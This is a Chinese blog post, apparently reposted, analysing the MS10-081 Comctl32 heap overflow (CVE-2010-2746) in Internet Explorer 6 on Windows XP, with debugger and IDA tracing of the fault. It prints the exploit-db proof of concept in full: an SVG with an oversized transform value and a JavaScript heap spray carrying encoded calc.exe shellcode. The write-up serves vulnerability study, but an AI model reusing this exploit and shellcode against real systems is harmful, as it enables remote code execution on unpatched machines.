码迷,mamicode.com
首页 > Windows程序 > 详细

CVE-2010-2746分析 Microsoft Windows - Common Control Library (Comctl32) Heap Overflow (MS10-081)

时间:2017-07-19 16:43:26      阅读:425      评论:0      收藏:0      [点我收藏+]

标签:ring   span   param   exp   cti   name   dtd   function   第三方   

相关链接:

    exploit-db:https://www.exploit-db.com/exploits/15963/

    微软安全公告:https://technet.microsoft.com/library/security/ms10-081

漏洞介绍:

    根据微软官方说明,漏洞的原因是 在使用第三方可伸缩矢量图形 (SVG) 查看器时,Windows 公共控件库Comctl32.dll 没有正确处理某些消息存在一个远程执行代码漏洞,且说明了是一个堆溢出漏洞。

环境介绍:

    (1) XP Professional sp 3          (2) Internet Explorer 6.0.2900.5512        (3) ruby1.9           (4) IE8及以下不支持svg,需要安装SVGVIEW

漏洞重现:

    下载exploit-db提供下载的ruby脚本。执行脚本会监听55555端口,访问后会返回一个html页面,包含了堆喷射的js和iframe嵌套svg,svg文件中定义了一个矩形,这个矩形的 transform 属性有一个异常的值 65535个"\x21",脚本主要内容如下:

transform_name = "\x21" * 65535

svg = <<-SVG
<?xml version="1.0"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg xmlns="http://www.w3.org/2000/svg"
    xmlns:xlink="http://www.w3.org/1999/xlink">

    <rect x="50" y="50" height="110" width="110"
          style="fill: #ffffff"
          transform="#{transform_name}(10) translate(30) rotate(45 50 50)"
            >
    </rect>
    <text x="100" y="100">CLICK ME</text>
</svg>
SVG

html = <<-HTML
<html>
    <body>
        <script>
            <!--
                function str_dup(str, length) {
                    var result = str;
                    while(result.length < length) {
                        result += result;
                    }
                    return result.substr(result.length - length);
                }

                var shellcode = unescape("%u9000%u9090%u9090") +
                                // msfpayload windows/exec CMD=calc.exe R | msfencode -t js_le -b "\x00"
                                unescape("%u39ba%ue680%udb4f%u29dc%ub1c9%ud933%u2474%u58f4" +
                                         "%u5031%u8313%u04c0%u5003%u6236%ub313%ueba0%u4cdc" +
                                         "%u8c30%ua955%u9e01%ub902%u2e33%uef40%uc5bf%u0404" +
                                         "%uab34%u2b80%u06fd%u02f7%ua6fe%uc837%ua83c%u13cb" +
                                         "%u0a10%udbf5%u4b65%u0132%u1985%u4deb%u8e37%u1098" +
                                         "%uaf8b%u1f4e%ud7b3%ue0eb%u6247%u30f5%uf9f7%ua8bd" +
                                         "%ua57c%uc81d%ub551%u8362%u0ede%u1210%u5f36%u24d9" +
                                         "%u0c76%u88e4%u4c7b%u2e20%u3b63%u4c5a%u3c1e%u2e99" +
                                         "%uc9c4%u883c%u6a8f%u28e5%uec5c%u266e%u7a29%u2b28" +
                                         "%uafac%u5742%u4e25%ud185%u757d%ub901%u1426%u6710" +
                                         "%u2989%ucf42%u8c76%ue208%ub663%u6952%u3a72%ud4e9" +
                                         "%u4474%u76f2%u751c%u1979%u8a5b%u5da8%uc093%uf4f1" +
                                         "%u8d3b%u4563%u2e26%u8a5e%uad5e%u736b%uada5%u7619" +
                                         "%u69e2%u0af1%u1c7b%ub9f5%u357c%u5c96%ud5ee%ufa77" +
                                         "%u7c96%u0e88");
                var base = str_dup(unescape("%u2100"), 0x800 - shellcode.length);
                var arr = [];
                for(var i = 0; i < 2000; i++) {
                    arr[i] = document.createElement("a");
                    arr[i].innerHTML = [base + shellcode].join("");
                }
            -->
        </script>
        <iframe width="100%" height="100%" src="poc.svg" marginheight="0" marginwidth="0"></iframe>
    </body>
</html>
HTML

     打开IE,用windbg 附加后访问 http://localhost:55555 ,会出现下面的界面,点击CLICK ME,会运行 shellcode 弹出计算器,没弹出来也是正常的由于溢出没有覆盖到预期的数据。

技术分享

    由于是一个堆溢出漏洞,所以开启hpa来定位溢出的代码位置。

技术分享

    当鼠标经过内容时,在 comctl32 模块发生了内存访问异常。将cx写入edx时发生异常,cx的值为之前的异常属性值字符“0x21”。

技术分享

    在IDA中定位到异常函数 comctl32!StringCopyWorkerW,这里调用的并不是system32下的comctl32.dll而是WinSxS目录,该目录用于存放各个不同版本的系统组件。具体路径要通过 lmm comctl32 v 命令来查看 ,该函数复制指定个数的字符到目的地址。

技术分享

    查看函数调用堆栈,可以看到从 0x0C92AFE8 处剩余0xFFF2 个字符要到 0x0BB6AFE4 处。

技术分享

    目的堆地址的大小只有 0x20,由于没有限制复制的大小所以发生溢出。

技术分享

    源地址 是属性值中65535个字符"0x21"

技术分享

    继续确定目的地址和大小的来源。查看上层函数 comctl32!SBGetText ,用IDA F5反汇编后发现都来自于上层函数 comctl32!StatusWndProc。

技术分享

    根据调用堆栈提供的返回地址继续定位到 comctl32!StatusWndProc ,参数4为 0x10000,参数3是 lParam 是一个大小为0x20的堆地址。

技术分享

    继续了解一下shellcode的执行流程,关闭hpa。将shellcode的首字节改为0xCC,int 3中断来定位流程,重启ruby脚本。

技术分享

技术分享

    重新调试,这里可能需要不断尝试,成功断下后,为虚拟机做个快照,便于调试。

技术分享

    查看函数调用堆栈,查看当前eip的返回地址为0x7E278A8A

技术分享

    定位返回地址之前的代码,可知由call [eax+0E0h] 执行shellcode。技术分享

    在IDA中定位mshtml!CServer::WndProc,

技术分享

    此时esi已经被覆盖为0x00210021,    技术分享

    重新调试下断 mshtml!CServer::WndProc 了解esi未覆盖前的数据,覆盖前为CDoc对象,在此处调用虚函数CDoc::OnWindowMessage

技术分享

 

    

CVE-2010-2746分析 Microsoft Windows - Common Control Library (Comctl32) Heap Overflow (MS10-081)

标签:ring   span   param   exp   cti   name   dtd   function   第三方   

原文地址:http://www.cnblogs.com/poc-/p/7203847.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!